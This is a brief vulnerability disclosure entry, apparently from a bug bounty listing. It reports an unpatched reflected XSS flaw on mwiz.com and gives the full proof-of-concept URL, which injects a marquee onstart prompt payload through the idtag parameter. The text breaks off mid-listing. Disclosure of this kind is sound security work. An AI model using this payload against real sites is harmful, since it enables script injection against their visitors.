mwiz.com XSS vulnerability

Vulnerable URL: http://mwiz.com/store/tagproducts.php?idtag=%27%22%3E%3Cmarquee/onstart=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6985824 VIP...